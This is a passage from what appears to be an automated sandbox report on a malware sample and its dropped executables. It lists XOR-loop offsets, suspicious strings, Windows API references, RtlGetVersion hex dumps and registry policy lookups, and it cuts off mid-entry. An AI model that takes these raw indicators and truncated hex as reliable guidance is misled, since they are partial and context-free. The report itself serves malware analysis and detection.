at offset 438699; code bytes = 33c1 Found XOR loop in file "CF3Mr43.exe" at offset 503844; code bytes = 33c1 Found XOR loop in file "CF3Mr43.exe" at offset 591655; code bytes = 33c1 Found XOR loop in file "CF3Mr43.exe" at offset 645439; code bytes = 33c1 Found XOR loop in file "CF3Mr43.exe" at offset 671161; code bytes = 33c1 Found XOR loop in file "CF3Mr43.exe" at offset 90891; code bytes = 8030 Found XOR loop in file "CF3Mr43.exe" at offset 102399; code bytes = 8030 Found XOR loop in file "CF3Mr43.exe" at offset 103104; code bytes = 8030 Found XOR loop in file "CF3Mr43.exe" at offset 200430; code bytes = 8030 Found XOR loop in file "CF3Mr43.exe" at offset 381056; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 263658; code bytes = 30d0 Found XOR loop in file "9zc6iD1.exe" at offset 508348; code bytes = 30d0 Found XOR loop in file "9zc6iD1.exe" at offset 637563; code bytes = 30d0 Found XOR loop in file "9zc6iD1.exe" at offset 638587; code bytes = 30d0 Found XOR loop in file "9zc6iD1.exe" at offset 1841; code bytes = 33c1 Found XOR loop in file "9zc6iD1.exe" at offset 1929; code bytes = 33c1 Found XOR loop in file "9zc6iD1.exe" at offset 1954; code bytes = 33c1 Found XOR loop in file "9zc6iD1.exe" at offset 7850; code bytes = 33c1 Found XOR loop in file "9zc6iD1.exe" at offset 9653; code bytes = 33c1 Found XOR loop in file "9zc6iD1.exe" at offset 635869; code bytes = 33c1 Found XOR loop in file "9zc6iD1.exe" at offset 101232; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 149765; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 150756; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 155864; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 174284; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 185463; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 185665; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 188008; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 188046; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 191362; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 207979; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 208375; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 210442; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 215023; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 220284; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 220559; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 221977; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 222011; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 222414; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 228255; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 259903; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 261260; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 338883; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 387839; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 387843; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 390662; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 392130; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 393435; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 527756; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 551324; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 637544; code bytes = 8030 Found XOR loop in file "9zc6iD1.exe" at offset 638568; code bytes = 8030 Found XOR loop in file "8Cg883Yu.exe" at offset 320635; code bytes = 30d0 Found XOR loop in file "8Cg883Yu.exe" at offset 321659; code bytes = 30d0 Found XOR loop in file "8Cg883Yu.exe" at offset 1841; code bytes = 33c1 Found XOR loop in file "8Cg883Yu.exe" at offset 1929; code bytes = 33c1 Found XOR loop in file "8Cg883Yu.exe" at offset 1954; code bytes = 33c1 Found XOR loop in file "8Cg883Yu.exe" at offset 7850; code bytes = 33c1 Found XOR loop in file "8Cg883Yu.exe" at offset 9653; code bytes = 33c1 Found XOR loop in file "8Cg883Yu.exe" at offset 318941; code bytes = 33c1 Found XOR loop in file "8Cg883Yu.exe" at offset 320616; code bytes = 8030 Found XOR loop in file "8Cg883Yu.exe" at offset 321640; code bytes = 8030 Found XOR loop in file "2QO3391.exe" at offset 280699; code bytes = 30d0 Found XOR loop in file "2QO3391.exe" at offset 281723; code bytes = 30d0 Found XOR loop in file "2QO3391.exe" at offset 1841; code bytes = 33c1 Found XOR loop in file "2QO3391.exe" at offset 1929; code bytes = 33c1 Found XOR loop in file "2QO3391.exe" at offset 1954; code bytes = 33c1 Found XOR loop in file "2QO3391.exe" at offset 7850; code bytes = 33c1 Found XOR loop in file "2QO3391.exe" at offset 9653; code bytes = 33c1 Found XOR loop in file "2QO3391.exe" at offset 279005; code bytes = 33c1 Found XOR loop in file "2QO3391.exe" at offset 280680; code bytes = 8030 Found XOR loop in file "2QO3391.exe" at offset 281704; code bytes = 8030 Found XOR loop in file "7xN51gn.exe" at offset 1163; code bytes = 30d0 Found XOR loop in file "7xN51gn.exe" at offset 2524; code bytes = 30d0 Found XOR loop in file "7xN51gn.exe" at offset 25488; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 287403; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 446849; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 492333; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 514767; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 536582; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 717549; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 739878; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 950362; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 983928; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1009040; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1030403; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1063944; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1083136; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1091993; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1256502; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1275269; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1303490; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1340219; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1347617; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 26031; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 149467; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 296718; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 342125; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 402099; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 530898; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 579185; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 587237; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 629757; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 725914; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 726369; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 791595; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 879528; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 901867; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 908467; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 945629; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1102499; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1165049; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1396627; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1455033; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 90891; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 102399; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 103104; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 185383; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 196310; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 212319; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 259551; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 276416; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 311617; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 315520; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 339540; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 487726; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 521923; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 668628; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 986846; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1143348; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1216889; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1277640; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1306577; code bytes = 803033:T425,file/memory contains long string with (Indicator: "youtube.com"; File: "supported_browsers_1_.htm") file/memory contains long string with (Indicator: "youtube.com"; File: "L5BKM8ES.txt") file/memory contains long string with (Indicator: "youtube.com"; File: "WOPDH9O0.txt") file/memory contains long string with (Indicator: "youtube.com"; File: "JUZEOBO4.txt") file/memory contains long string with (Indicator: "youtube.com"; File: "4JTPB0SC.txt") file/memory contains long string with (Indicator: "youtube.com"; File: "F5SG56NV.txt") file/memory contains long string with (Indicator: "youtube.com"; File: "NL0ENXOO.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367" (Indicator: "youtube.com"; File: "V1PN3DHO.txt") Found string "accounts.youtube.com" (Indicator: "youtube.com"; File: "PCAP") Found string "www.paypal.com" (Indicator: "paypal.com"; File: "PCAP") Found string "www.youtube.com" (Indicator: "youtube.com"; File: "PCAP") file/memory contains long string with (Indicator: "youtube.com"; File: "SSL")34:T44b,Found reference to API "GetDriveTypeA" (Indicator: "GetDriveTypeA"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "GetDriveTypeW" (Indicator: "GetDriveTypeW"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "GetLogicalDrives" (Indicator: "GetLogicalDrives"; File: "00003236.00000CA4.996429.00402000.wprm") Found reference to API "GetDriveTypeW" (Indicator: "GetDriveTypeW"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "GetLogicalDrives" (Indicator: "GetLogicalDrives"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "GetLogicalDrives" (Indicator: "GetLogicalDrives"; Source: "00000000-00003848.00000000.79199.01338000.00000004.mdmp") Found reference to API "GetDriveTypeW" (Indicator: "GetDriveTypeW"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "GetDriveTypeA" (Indicator: "GetDriveTypeA"; Source: "00000000-00005632.00000000.76197.001AA000.00000002.mdmp")35:T82a,file/memory contains long string with (Indicator: "GetCommandLine"; File: "8Cg883Yu.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "2QO3391.exe") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found string "GetCursorPos" (Indicator: "GetCursorPos"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00001184.00000000.78534.011F0000.00000002.mdmp, 00000000-00001184.00000000.78534.011F8000.00000004.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00001184.00000000.78534.011F0000.00000002.mdmp, 00000000-00001184.00000000.78534.011F8000.00000004.mdmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00003368.00000000.79552.00AC0000.00000002.mdmp, 00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00003368.00000000.79552.00AC0000.00000002.mdmp, 00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00003848.00000000.79199.01330000.00000002.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00003848.00000000.79199.01330000.00000002.mdmp") Found string "GetCursorPos" (Indicator: "GetCursorPos"; Source: "00000000-00003848.00000000.79199.01338000.00000004.mdmp") Found string "GetCursorPos" (Indicator: "GetCursorPos"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp")36:T454,Found reference to API "GetTimeFormatW" (Indicator: "GetTimeFormat"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "GetDateFormatW" (Indicator: "GetDateFormat"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "GetDateFormatEx" (Indicator: "GetDateFormat"; File: "00000000-00005628.00000001.78200.00B91000.00000020.mdmp") Found reference to API "GetTimeFormatEx" (Indicator: "GetTimeFormat"; File: "00000000-00005628.00000001.78200.00B91000.00000020.mdmp") Found reference to API "GetDateFormatEx" (Indicator: "GetDateFormat"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "GetTimeFormatEx" (Indicator: "GetTimeFormat"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "GetDateFormatW" (Indicator: "GetDateFormat"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "GetTimeFormatW" (Indicator: "GetTimeFormat"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp")37:T5c7,Found reference to API "GetKeyboardLayoutNameW" (Indicator: "GetKeyboardLayout"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "GetSystemDefaultLangID" (Indicator: "GetSystemDefaultLangID"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "GetUserDefaultLangID" (Indicator: "GetUserDefaultLangID"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; File: "00002532.000009E4.2000662.00473000.wprm") Found reference to API "GetSystemDefaultLangID" (Indicator: "GetSystemDefaultLangID"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "GetUserDefaultLangID" (Indicator: "GetUserDefaultLangID"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "GetKeyboardLayoutNameW" (Indicator: "GetKeyboardLayout"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp")38:T2f1a,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005716) "ca8Oc89.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005632) "JA0VX88.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005852) "CF3Mr43.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005792) "1SX49Ye8.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005628) "1SX49Ye8.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005628) "1SX49Ye8.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000300000054df950260df950228e19502a2e0d769d51968f7feffffffa8e0950216bcd6695a30403702000000dcdf9502a8e0950220bcd6690600000000005c6a010000002fbcd6692a000000060000005a30403702000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00005628) "1SX49Ye8.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e4e09502000000007600000034e19502feffffffbce09502cf001577d600157746799b75760000003b00000034e195020000000090e0950200000000f8e0950295e11077e29f1a00feffffffd60015772f7b16750100000052000c06167b167514a4129c (UID: 00000000-00005628) "1SX49Ye8.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005628) "1SX49Ye8.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000300000044e4960250e4960218e69602a2e0d769d51968f7feffffff98e5960216bcd66906a76f1604000000cce4960298e5960220bcd6698205000000005c6a010000002fbcd6692a0000008205000006a76f1604000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00005628) "1SX49Ye8.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000300000024e1da0330e1da03f8e2da03a2e0d769d51968f7feffffff78e2da0316bcd669669be0a705000000ace1da0378e2da0320bcd6698205000000005c6a010000002fbcd6692a00000082050000669be0a705000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00005628) "1SX49Ye8.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000300000074dda10280dda10248dfa102a2e0d769d51968f7feffffffc8dea10216bcd669aa2fce5807000000fcdda102c8dea10220bcd6698205000000005c6a010000002fbcd6692a00000082050000aa2fce5807000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00005628) "1SX49Ye8.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000003000000e4e0ec03f0e0ec03b8e2ec03a2e0d769d51968f7feffffff38e2ec0316bcd6696431764f090000006ce1ec0338e2ec0320bcd6698205000000005c6a010000002fbcd6692a000000820500006431764f09000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00005628) "1SX49Ye8.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000003000000a4dcb702b0dcb70278deb702a2e0d769d51968f7fefffffff8ddb70216bcd669e8ac51da0a0000002cddb702f8ddb70220bcd6698205000000005c6a010000002fbcd6692a00000082050000e8ac51da0a000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00005628) "1SX49Ye8.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000003000000a4dce203b0dce20378dee203a2e0d769d51968f7fefffffff8dde20316bcd66990978f6f0c0000002cdde203f8dde20320bcd6698205000000005c6a010000002fbcd6692a0000008205000090978f6f0c000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00005628) "1SX49Ye8.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000300000014e4ac0220e4ac02e8e5ac02a2e0d769d51968f7feffffff68e5ac0216bcd669da9a460b0e0000009ce4ac0268e5ac0220bcd6698205000000005c6a010000002fbcd6692a00000082050000da9a460b0e000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00005628) "1SX49Ye8.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000003000000c4ddee03d0ddee0398dfee03a2e0d769d51968f7feffffff18dfee0316bcd669441433c50f0000004cdeee0318dfee0320bcd6698205000000005c6a010000002fbcd6692a00000082050000441433c50f000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00005628) "1SX49Ye8.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000300000064e4be0270e4be0238e6be02a2e0d769d51968f7feffffffb8e5be0216bcd669c477c36311000000ece4be02b8e5be0220bcd6698205000000005c6a010000002fbcd6692a00000082050000c477c36311000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c6e496e6465780000000000000000000000000000000000000000000000000000010000000000000000020000000300000004000000010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000000 (UID: 00000000-00005628) "2QO3391.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001184)39:T81f,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "ca8Oc89.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "ca8Oc89.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "JA0VX88.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "JA0VX88.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "CF3Mr43.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "CF3Mr43.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "1SX49Ye8.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "1SX49Ye8.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "2QO3391.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2QO3391.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "7xN51gn.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "8Cg883Yu.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "8Cg883Yu.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "9zc6iD1.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "9zc6iD1.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")3a:T9de,Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "FindWindowW" (Indicator: "FindWindow"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; File: 